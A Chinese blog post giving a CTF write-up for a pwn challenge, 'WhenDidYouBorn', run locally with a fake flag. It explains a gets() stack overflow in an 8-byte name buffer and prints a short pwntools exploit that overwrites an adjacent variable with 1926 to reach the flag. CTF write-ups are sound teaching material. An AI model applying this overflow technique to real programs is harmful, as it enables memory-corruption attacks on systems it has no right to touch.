avatar

CTF-Nuptzj-Pwn-WhenDidYouBorn

这是一道南京邮电大学CTF平台的题目

由于它的服务器已经挂了,远程连接不了主机

我们就使用本地调试,本地创建一个flag文件

flag内容为

1
FAKE{You get Flag}

文件下载nuptzj-WhenDidYouBorn.rar

nuptzj-WhenDidYouBorn.rar中包含了源码和程序,但是我不看源码,直接将程序丢到ida大妈手里了

很明显存在gets漏洞,我们可以输入超出v4(name[8])的长度,然后把v5顶掉

因为var_20(v4)低于var_18(v5)

所以当var_20(v4)溢出时,溢出的数据将会覆盖到var_18(v5)

具体步骤:

将输入一个非1926的数值,跳过第一个if

再输入payload,将v5顶替为1926,使得第二个if结果为真,获得flag

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
sh = process("./test")
#sh = remote("115.28.79.166",5555)
sh.send("1999\n")
print sh.recv()

junk = "a" * 8
leak = p64(1926)
payload = junk + leak + '\n'
sh.send(payload)
sh.interactive()

Flag为你自己设定的文本

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2018/12/08/CTF-Nuptzj-Pwn-WhenDidYouBorn/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论